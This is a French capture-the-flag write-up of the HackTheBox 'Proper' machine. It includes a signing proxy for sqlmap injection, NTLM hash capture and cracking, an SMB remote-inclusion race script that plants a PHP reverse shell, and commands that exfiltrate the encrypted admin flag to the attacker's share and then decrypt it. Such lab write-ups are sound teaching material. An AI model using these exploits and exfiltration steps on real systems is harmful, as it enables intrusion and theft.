CTF — HackTheBox —Proper

R Pion
ProHacktive
Published in
15 min readApr 23, 2021
  • IP de la machine Proper : 10.129.0.0/16
  • IP de l’attaquant : 10.10.0.0/16
Caractéristique de la machine Proper

Salut ! On se retrouve pour une machine concocté par jkr et xct de HackTheBox (les premiers de la plateforme). C’était une des meilleures machines que j’ai flaggué. Merci à eux ! :D

Reconnaissance avec Nmap

PORT   STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: OS Tidy Inc.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

On commence par un scan nmap. On découvre un seul port sur cette machine. Le port 80/tcp sera notre point d’entrée.

80/tcp —HTTP— Tidy OS —Reconnaissance

Concernant l’histoire de cette machine, nous arrivons sur un site proposant des licenses de logiciel de suppression, clonage, nettoyage de données.

Index.html du site

En ouvrant la console Firefox (F12), on remarque une requête HTTP GET intéressante :

http://10.129.107.131/products-ajax.php?order=id+desc&h=a1b30d31d344a5a4e41e8496ccbdd26b

Cependant, en modifiant les paramètres de l’URL (order/h), nous avons l’erreur suivante et empêche de progresser :

Forbidden - Tampering attempt detected.

Cette requête permet de lister les produits du site,

Liste des produits

En utilisant un tool d’énumération d’URL (ici, le fameux dirbuster), on trouve les URLs suivantes,

http://proper.htb:80/functions.php
http://proper.htb/licenses/index.php
http://proper.htb:80/licenses/Logout.php
http://proper.htb:80/licenses/licenses.php

En arrivant dans ‘/licences/’, on arrive sur une mire de login. Cependant, nous avons aucun identifiant…

Authentification lorsque l’on arrive sur /licenses/

80/tcp — HTTP — Tidy OS —PHP Errors

Pour avancer dans le challenge, nous allons nous concentrer sur l’URL suivante,

http://10.129.107.131/products-ajax.php?order=id+desc&h=a1b30d31d344a5a4e41e8496ccbdd26b

Nous savons que le site utilise PHP. Nous allons faire fuiter du code PHP en changeant le paramètre GET ‘order’ en ‘order[]’. Cette fuite de donnée est dû à l’activation de l’affichage des erreurs PHP.

Erreur PHP avec order[]
<!-- [8] Array to string conversion
On line 46 in file C:\inetpub\wwwroot\functions.php
41 |
42 | // Following function checks for tampered URL parameters.
43 | // Code adapted from https://stackoverflow.com/a/2809435
44 | function secure_param($param,$checksum) {
45 | if (md5(SECURE_PARAM_SALT.$param) !== $checksum) { <<<<< Error encountered in this line.
46 | http_response_code(403);
47 | die('Forbidden - Tampering attempt detected.');
48 | }
49 | }
50 |
51 | // Generate secure param checksum
// -->
Forbidden - Tampering attempt detected.

Cette erreur nous apprend que le paramètre GET ‘h’ est un md5 d’une partie de l’URL (ici, la valeur du paramètre ‘order’) avec une constante qui pour l’instant n’est pas connue ‘SECURE_PARAM_SALT’.

Ensuite,nous allons faire fuiter une autre partie du code php de ‘functions.php’ en créant un paramètre GET bidon (marche aussi quand on retire tous les paramètres GET).

<!-- [8] Undefined index: orderOn line 6 in file C:\inetpub\wwwroot\products-ajax.php1 |   // SECURE_PARAM_SALT needs to be defined prior including functions.php 
2 | define('SECURE_PARAM_SALT','hie0shah6ooNoim');
3 | include('functions.php');
4 | include('db-config.php');
5 | if ( !$_GET['order'] || !$_GET['h'] ) { <<<<< Error encountered in this line.
6 | // Set the response code to 500
7 | http_response_code(500);
8 | // and die(). Someone fiddled with the parameters.
9 | die('Parameter missing or malformed.');
10 | }
11 |
// -->
Parameter missing or malformed.

Cette erreur nous permet de connaître la valeur de ‘SECURE_PARAM_SALT’. Ainsi, nous pouvons modifier le paramètre GET ‘order’ dans le but de trouver une nouvelle vulnérabilité.

En effet, on retrouve la valeur de ‘h’ avec la commande suivante.

$> echo -n "hie0shah6ooNoimid desc" | md5sum
a1b30d31d344a5a4e41e8496ccbdd26b

La valeur de order ‘id desc’ ressemble à du langage SQL, nous allons explorer la piste de l’injection SQL.

80/tcp — HTTP — Tidy OS — Proxy SQLmap

Nous allons exploiter une injection SQL en utilisant un outil super cool : sqlmap. (https://github.com/sqlmapproject/sqlmap)

Cependant, pour injecter dans le paramètre ‘order’, nous devons calculer le hash md5 du paramètre ‘h’. Pour cela, nous allons coder un proxy HTTP en python3.

from sys import argv
import os
import socketserver
import http.server
import logging
import requests
import hashlib
from urllib.parse import unquote
class ServerHandler(http.server.SimpleHTTPRequestHandler):def do_GET(self):
# Get 'order' parameters
print("URL : {a}".format(a=self.path))
get_param_order = unquote(self.path.split('?order=')[1])
print("Get parameters : {a}".format(a=get_param_order))

# Hash SALT
secret_salt = "hie0shah6ooNoim"
params_to_hash = secret_salt + get_param_order
get_params_h = hashlib.md5(params_to_hash.encode('utf-8')).hexdigest()

# Crafted URL
url = self.path.split('?order=')[0] + '?order=' + get_param_order + "&h=" + get_params_h
print("Crafted URL : {a}".format(a=url))

# Call the target service
resp = requests.get(url)
# Respond with the requested data
self.send_response(resp.status_code)
self.end_headers()
self.wfile.write(resp.content)
def do_POST(self):
http.server.SimpleHTTPRequestHandler.do_GET(self)

logging.debug(self.headers)
class ReuseAddrTCPServer(socketserver.TCPServer):
allow_reuse_address = True
def run(port=8080):
Handler = ServerHandler
httpd = ReuseAddrTCPServer(("localhost", port), Handler)
print("serving at port", port)
try:
httpd.serve_forever()
except KeyboardInterrupt:
print("Detect CTRL+C ...")
pass
httpd.server_close()
httpd.shutdown()
if __name__ == '__main__':if len(argv) == 2:
run(port=int(argv[1]))
else:
run()

Qu’on lance via la commande,

python3 sqli_proxy.py

Ensuite, on lance SQLmap en spécifiant notre proxy permettant de calculer ‘h’.

sqlmap -u "http://proper.htb/products-ajax.php?order=id+desc" --batch --level 3 --risk 3 --proxy "http://localhost:8080/"

SQLmap nous informe que le paramètre ‘order’ est bien injectable.

En listant les tables utilisées par le MySQL du challenge, nous allons pouvoir dumper le contenu via la commande,

sqlmap -u "http://proper.htb/products-ajax.php?order=id+desc" --batch --level 3 --risk 3 --batch --proxy "http://localhost:8080/" -T customers,licenses,products --dump
En haut, la sortie de notre proxy HTTP. En bas, la sortie de SQLmap

En utilisant les options d’SQLmap, voici les informations concernant la base de données.

user : cleaner@localhost
db : cleaner
banner : 10.5.8-MariaDB
hostname : Proper
[*] %cleaner% [1]:
privilege: USAGE
[*] %cleaner% [1]:
role: USAGE

Le rôle ‘USAGE’ est super restreint et nous permet pas d’avancer plus loin dans le challenge. (Donc pas de lecture/écriture de fichier!)

Dans la table ‘customers’ de la DB ‘cleaner’, nous avons récupéré les identifiants suivants,

Liste des identifiants récupérés via la SQLi. Mot de passe cracké par SQLmap.

80/tcp — HTTP — Tidy OS — Licenses

Nous allons utiliser cet identifiant afin s’authentifier sur la mire de login des licenses.

vikki.solomon@throwaway.mail
password1

Voici notre nouvel accès,

Connection à license

En cliquant sur les thèmes proposés en haut à droite, nous pouvons changer l’apparence du site. Cependant, les thèmes sont gérés avec le système d’intégrité d’URL vu précédemment. Il est donc possible de trouver de nouvelles vulnérabiltés en changeant le paramètre ‘theme’.

http://proper.htb/licenses/licenses.php?theme=THEME&h=MD5

Nous allons appeler un thème qui n’existe pas : ‘LETHEME’. On calcule le md5.

$> echo -n "hie0shah6ooNoimLETHEME" | md5sum
ec2bc65dba7f9766a1e211c2dd86b7a4

Ce qui nous donne l’URL suivante,

view-source:http://proper.htb/licenses/licenses.php?theme=LETHEME&h=ec2bc65dba7f9766a1e211c2dd86b7a4

Nous avons 3 erreurs avec le code PHP suivant,

<!-- [2] file_get_contents(LETHEME/header.inc): failed to open stream: No such file or directory
On line 35 in file C:\inetpub\wwwroot\functions.php
30 |
31 | // Following function securely includes a file. Whenever we
32 | // will encounter a PHP tag we will just bail out here.
33 | function secure_include($file) {
34 | if (strpos(file_get_contents($file),'<?') === false) { <<<<< Error encountered in this line.
35 | include($file);
36 | } else {
37 | http_response_code(403);
38 | die('Forbidden - Tampering attempt detected.');
39 | }
40 | }
// -->

Nous pouvons contrôler une partie du paramètre ‘$file’. Nous allons essayer d’inclure notre code PHP : Remote File Inclusion. Cependant, nous avons des contraintes :

  • Notre fichier ne doit pas inclure ‘<?’ : compliqué quand on veut faire appel à du PHP.
  • Notre fichier portera le nom de ‘header.inc’.

80/tcp — HTTP — Tidy OS — RFI avec HTTP?

Nous allons essayé une RFI via le wrapper PHP ‘http://’. Nous allons créer notre serveur HTTP avec le fichier ‘header.inc’.

python -m SimpleHTTPServer 8080

Nous modifions le paramètre ‘theme’ afin de faire appel à notre serveur HTTP.

http://proper.htb/licenses/licenses.php?theme=http://10.10.14.37:8080&h=4cb295d8948ac102460dc586b5ed6eee
Erreur PHP indiquant que les URL ne peuvent pas être incluses…

Cependant, le wrapper ‘http://’ a été désactivé dans la configuration du moteur PHP…

80/tcp — HTTP — Tidy OS — RFI avec SMB!

Sur le site de HackTheBox, nous avons l’information qu’il s’agit d’une machine Windows ! Par conséquent, nous allons utiliser des chemins UNC de ce type

\\<IP>\<share>\header.inc

pour faire appel à notre ‘header.inc’ à distance. Tout d’abord, nous allons récupérer le hash net-NTLMv2 en utilisant l’outil Responder.

sudo responder -I tun0

Notre partage réseau sera consulté lorsque nous allons sur l’URL suivante,

http://proper.htb/licenses/licenses.php?theme=\\10.10.14.37\share&h=8752dc41977176c09ae478c12745af05

Responder nous donne le hash net-NTLMv2 du compte ‘PROPER\web’.

hash net-NTLMv2 du compte web

Nous pouvons cracker ce hash en utilisant la wordlist ‘rockyou’ avec john.

john hash.txt --wordlist=rockyou.txt
Résultat de john

Nous obtenons les identifiants suivant,

PROPER\web
charlotte123!

Cependant, nous n’avons que le port 80/tcp d’ouvert… Comment utiliser ces identifiants !?

80/tcp — HTTP — Tidy OS — RFI : Samba setup

J’ai rencontré des problèmes en utilisant smbserver.py de Impacket. J’ai décidé de mettre en place un serveur SAMBA. Voici le fichier de configuration,

#/etc/samba/smb.conf
[global]
bind interfaces only = Yes
dns proxy = No
netbios name = KALI
server string = Samba Server %v
log level = 3
[rfi]
path = /home/kali/chall-proper/4_rfi/smb
read only = yes
directory mode = 0700

Le nom de notre share est ‘rfi’ et nous allons activer les logs afin de comprendre pourquoi mon partage réseau n’a pas fonctionné avec ‘smbserver.py’. On démarre le service et on va sur cette URL pour provoquer la requête SMB.

http://proper.htb/licenses/licenses.php?theme=//10.10.14.37/rfi&h=ae0bb7ce44c758257cc0032fd2c3c2bc

Voici le résultat dans les logs du serveur SAMBA,

le serveur ne peut pas se connecter au partage réseau : ‘NT_STATUS_NO_SUCH_USER’

On remarque qu’il est impossible pour le serveur proper.htb de se connecter au partage réseau de l’attaquant à cause de l’erreur suivante :

NT_STATUS_NO_SUCH_USER

En effet, je n’ai pas d’utilisateur ‘web’ sur ma machine. Pour corriger ce problème, nous allons utiliser la commande suivante afin que l’authentification se déroule correctement.

smbpasswd -a web # Configuré avec le mot de passe 'charlotte123!'
Le serveur proper.htb se connecte au partage réseau

Ainsi, le serveur proper.htb se connecte correctement à notre partage réseau. Nous devons nous occuper du fichier ‘header.inc’.

80/tcp — HTTP — Tidy OS — RFI : race condition

Précédemment, nous avons vu l’erreur PHP suivante.

<!-- [2] file_get_contents(LETHEME/header.inc): failed to open stream: No such file or directory
On line 35 in file C:\inetpub\wwwroot\functions.php
30 |
31 | // Following function securely includes a file. Whenever we
32 | // will encounter a PHP tag we will just bail out here.
33 | function secure_include($file) {
34 | if (strpos(file_get_contents($file),'<?') === false) { <<<<< Error encountered in this line.
35 | include($file);
36 | } else {
37 | http_response_code(403);
38 | die('Forbidden - Tampering attempt detected.');
39 | }
40 | }
// -->

Ce code est vulnérable à une ‘race condition’ et va nous permettre d’exécuter du code PHP !

En effet, entre la ligne ‘34’ et ‘35’, il peut se passer des choses !

Voici le plan, sur notre partage SMB, nous allons :

  • Créer un fichier ‘header.inc’ suffisamment gros pour occuper le code ligne ‘34’ qui ne contient pas la séquence ‘<?’.
  • Profiter de ce temps pour modifier notre fichier ‘header.inc’ avec un reverse shell PHP. Nous allons utiliser celui-ci : https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/php_reverse_shell.php
  • Quand le code PHP sera à la ligne ‘35’, il va inclure le ‘header.inc’ contenant notre reverse shell PHP.

Voici le script Bash permettant d’exploiter cette ‘race condition’. Il sera nécessaire de mettre à jour le cookie de session et le lancer plusieurs fois pour obtenir notre reverse shell.

echo "Create huge file : header.inc"
base64 /dev/urandom | head -c 20000000 > header.inc
echo "Wait a second..."
sync
echo "Curl to get race condition"
curl 'http://proper.htb/licenses/licenses.php?theme=//10.10.14.37/rfi&h=ae0bb7ce44c758257cc0032fd2c3c2bc' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H 'Cookie: PHPSESSID=45kba0u06o0vmtnlqcb5ovtnjd' -H 'Upgrade-Insecure-Requests: 1' &
echo "Wait a second... (.3)"
sleep .3
systemctl stop smbd.service
echo "cp reverse shell in header.inc"
cp header.inc.shell header.inc
systemctl start smbd.service

Nous allons ouvrir un listener Netcat sur le port 8080/tcp.

Reverse shell ‘cmd.exe’

Nous obtenons notre reverse shell avec une instance de ‘cmd.exe’ avec l’utilisateur ‘proper\web’.

Reverse shell — web

Nous avons une exécution de code sur la machine proper.htb.

C:\>systeminfoHost Name:                 PROPER
OS Name: Microsoft Windows Server 2019 Standard
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User

Dans un premier temps, nous pouvons valider le flag de l’utilisateur ‘web’.

Flag user.txt

Dans un second temps, nous allons trouver un moyen d’élever nos privilèges pour compromettre le flag Administrateur : root.txt. En listant les programmes installés sur la machine proper.htb, nous obtenons ceci,

C:\Program Files>dir
Volume in drive C has no label.
Volume Serial Number is FE0C-A36B
Directory of C:\Program Files01/29/2021 01:41 PM <DIR> .
01/29/2021 01:41 PM <DIR> ..
11/15/2020 05:05 AM <DIR> Cleanup
11/14/2020 04:00 AM <DIR> Common Files
11/14/2020 04:25 AM <DIR> internet explorer
01/02/2021 10:13 AM <DIR> MariaDB 10.5
11/14/2020 10:21 AM <DIR> Microsoft
04/26/2017 07:14 AM 368,640 nssm.exe
11/14/2020 10:28 AM <DIR> PHP
11/14/2020 10:28 AM <DIR> Reference Assemblies
11/14/2020 10:27 AM <DIR> runphp
01/29/2021 01:41 PM <DIR> VMware
01/17/2021 08:20 AM <DIR> Windows Defender
01/17/2021 08:20 AM <DIR> Windows Defender Advanced Threat Protection
09/15/2018 12:19 AM <DIR> Windows Mail
01/17/2021 08:20 AM <DIR> Windows Media Player
09/15/2018 12:19 AM <DIR> Windows Multimedia Platform
09/15/2018 12:28 AM <DIR> windows nt
01/17/2021 08:20 AM <DIR> Windows Photo Viewer
09/15/2018 12:19 AM <DIR> Windows Portable Devices
09/15/2018 12:19 AM <DIR> Windows Security
09/15/2018 12:19 AM <DIR> WindowsPowerShell
1 File(s) 368,640 bytes
21 Dir(s) 7,335,129,088 bytes free

Le dossier le plus étrange est ‘C:\Program Files\Cleanup’. En effet, celui-ci contient des fichiers qui ressemble a un projet fait à la main spécialement conçu pour le challenge. Nous allons utiliser notre serveur SMB pour exfiltrer les fichiers de la machine proper.htb.

Exfiltration des fichiers dans le dossier ‘Cleanup’

Nous allons les exécuter sur la machine du challenge, voici la sortie,

Sortie de client.exe et de server.exe

L’exécutable ‘client.exe’ semble nettoyer le répertoire ‘Downloads’ de l’utilisateur courrant. Tandis que ‘server.exe’ semble utiliser le ‘Named Pipe’ (aka. tube nommé) avec les droits Administrateur de la machine. C’est une bonne piste. De plus, en listant les Named Pipes,

C:\>powershell get-childitem \\.\pipe\
[...]
Directory: \\.\pipe
Mode LastWriteTime Length Name
---- ------------- ------ ----
------ 12/31/1600 4:00 PM 3 ROUTER
------ 12/31/1600 4:00 PM 6 cleanupPipe
[...]

Sur le serveur proper.htb, nous observons que le Named Pipe ‘cleanupPipe’ est en cours d’utilisation. Nous savons que l’exécutable ‘server.exe’ est en cours d’exécution et dispose des droits Administrator. Nous devons impérativement comprendre le fonctionnement de ces deux binaires.

Offline — Analyse de client.exe

Nous allons démarrer notre VM Windows et utiliser le désassembleur IDA pour analyser le binaire ‘client.exe’. La fonction la plus importante de celui-ci est ‘main_serviceClean’.

fonction main_serviceClean

En avançant un peu, on arrive sur la chaine de caractère présente dans la sortie de ‘client.exe’.

printf responsable de la sortie de ‘client.exe’

Mais ce n’est pas le plus intéressant, nous arrivons sur un bloc d’instruction qui permet de se connecter au Named Pipe créé par ‘server.exe’.

Connection au Named Pipe créé par server.exe

Enfin, nous avons l’information concernant le format du message à envoyer sur le Named Pipe.

Format du message à envoyer sur le Named Pipe

Le format de l’évenement à envoyer sur le Named Pipe ‘\\.\pipe\cleanupPipe’.

CLEAN <chemin du fichier à nettoyer>\n

Nous avons suffisament d’information pour mettre ‘client.exe’ de côté et le remplacer par Netcat!

En effet, ‘client.exe’ se confine uniquement au dossier ‘Downloads’ de l’utilisateur courant, vérifie la date de création etc …

Pour les tests, nous allons créer un fichier ‘C:\TEST\secret.txt’ contenant la donnée suivante ‘SALUT!’.

Voici maintenant notre nouveau ‘client.exe’ avec Netcat.

Test avec netcat avec le binaire ‘server.exe’

Dans la capture ci-dessus, nous allons ouvrir un listener sur le port 4000/tcp qui va rediriger ses données d’entrées vers le Named Pipe de ‘server.exe’.

Ensuite, nous allons nous connecter à notre listener (sur le port 4000/tcp ouvert localement) et envoyer le format de message attendu.

Le résultat sur la dernière fenêtre montre que tout s’est bien passé, le fichier ‘C:\TEST\secret.txt’ a bien été traité.

‘server.exe’ est super important ! En effet, il ne faut pas perdre de vu que nous pouvons traiter de façon arbitraire n’importe quel fichier avec les droits Administrateur. Nous devons comprendre le fonctionnement de celui-ci.

Offline — Analyse de server.exe

En faisant nos tests précédement, nous avons lancé ‘procmon.exe’ disponible ici : https://docs.microsoft.com/en-us/sysinternals/downloads/procmon.

Procmon permet de surveiller l’activité du système de fichier Windows en temps réel. Nous avons remarqué l’activité suivante,

Fichier créé après nos tests avec client.exe

Et voici ce que nous observant avec explorer.exe,

Modification du système de fichier par server.exe.

Suite au message envoyé par notre Netcat, nous avons supprimé le fichier ‘C:\TEST\secret.txt’ et créé un nouveau fichier dans le dossier C:\ProgramData\Cleanup\<base64>. Le base64 correspond au chemin du fichier. De plus, le contenu de ce nouveau fichier est chiffré !

Notre objectif va être de trouver l’algorithme de chiffrement de ‘server.exe’.

Nous allons faire l’analyse en statique (avec IDA) et en dynamique (en lançant le binaire avec xdbg). Nous allons mettre un premier ‘breakpoint’ dans la fonction ‘main_encrypt’ et lancer notre message au Named Pipe avec Netcat, à savoir ,

CLEAN C:\TEST\secret.txt
Une instruction après le breakpoint sur la fonction ‘main_encrypt’ du binaire ‘server.exe’

Nous sommes au bon endroit, en avançant dans l’analyse du binaire, nous arrivons sur les fonctions utilisées pour chiffrer le contenu de notre fichier secret.txt.

aes.NewCipherFonctions utilisées pour chiffré le contenu des fichiers nettoyés

Ces fonctions nous donnent les informations suivantes :

  • encoding_hex_Decode : Permet de convertir la clé AES en hexadécimal.
  • crypto_aes_NewCipher : c’est de l’AES.
  • crypto_cipher_newGCMWithNonceAndTagSize : C’est de l’AES GCM ! La taille de la clé nous dira si c’est du 128 ou 256 bits.

Sur cette image, nous avons toutes les informations pour déchiffrer n’importe quel fichier traité par ‘server.exe’.

Le binaire étant compilé en Go, je me suis basé sur l’exemple suivant,

https://golang.org/src/crypto/cipher/example_test.go

On voit que :

  • hex.DecodeString(key) : prend en paramètre la clé AES tant convoitée.
  • aes.NewCipher(key) : contient la clé AES convertie.
  • cipher.NewGCM(block) : Initialise l’AES GCM.

Pour obtenir la clé AES, il suffit de mettre un breakpoint sur l’addresse 0x4E4A01 où la fonction ‘encoding_hex_Decode’ est appelée. Une fois notre instruction atteinte, il faut suivre dans la stack la valeur de RCX (argument fournis à la fonction) qui est finalement la valeur de la clé AES-128-GCM.

# Breakpoint : 00000000004E4A01
# Suivre la valeur de RCX (0xC000073BF0) dans la stack
000000C000073BF0 180de01cd3e8acea
000000C000073C00 6a16613a965ba259

Cette valeur peut être observée sur l’image précédente en bas à gauche.

Nous en connaissons suffisament pour obtenir le flag root.txt.

Reverse shell — Get encrypted root.txt flag

Voici le plan,

# Upload de Netcat
copy \\10.10.14.37\rfi\nc.exe C:\Users\web\Desktop\
# Lancer notre listener sur le 8080/tcp en arrière plan
start /b C:\Users\web\Desktop\nc.exe -l -p 4000 > \\.\pipe\cleanupPipe
# Chiffrer le fichier root.txt
C:\Users\web\Desktop\nc.exe 127.0.0.1 4000
CLEAN C:\Users\Administrator\Desktop\root.txt
# Exfiltration du fichier root.txt chiffré sur notre SMB
copy "C:\ProgramData\Cleanup\QzpcVXNlcnNcQWRtaW5pc3RyYXRvclxEZXNrdG9wXHJvb3QudHh0" \\10.10.14.37\rfi\
Créer le fichier root.txt chiffré
Exfiltration du fichier root.txt chiffré

Nous avons le fichier root.txt chiffré, il suffit de le déchiffrer afin de valider le challenge.

Offline — Decrypt root.txt flag

Pour déchiffrer de l’AES-128-GCM, nous allons utiliser l’exemple disponible ici :

https://cryptography.io/en/latest/hazmat/primitives/aead/#cryptography.hazmat.primitives.ciphers.aead.AESGCM

Nous allons convertir notre fichier chiffré qui est une chaine de caractère hexadécimale en ‘data’ (ou blob binaire).

cat QzpcVXNlcnNcQWRtaW5pc3RyYXRvclxEZXNrdG9wXHJvb3QudHh0 | xxd -r -p > root.txt.enc

Puis, nous allons utiliser le script Python afin de déchiffrer le fichier root.txt.

import os
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
with open('root.txt.enc', 'rb') as infile:
nonce = infile.read(12)
data = infile.read()
aad = None
key = b'\x18\x0d\xe0\x1c\xd3\xe8\xac\xea\x6a\x16\x61\x3a\x96\x5b\xa2\x59' # Cle trouve via le reverse
aesgcm = AESGCM(key)
plaintxt = aesgcm.decrypt(nonce, data, aad)
with open('root.txt', 'wb+') as outfile:
outfile.write(plaintxt)

Le fichier de sortie est une chaine de caractère hexadécimale, nous allons la convertir afin d’obtenir le fichier root.txt original avec cette commande,

cat root.txt | xxd -p -r

Voici le flag dans le fichier root.txt

C’est fini, merci de m’avoir lu. On se retrouve le mois prochain !

Merci encore à jkr, xct et HackTheBox pour cette belle épreuve.

Merci à A. M. pour son coaching et son génie.

RP.

--

--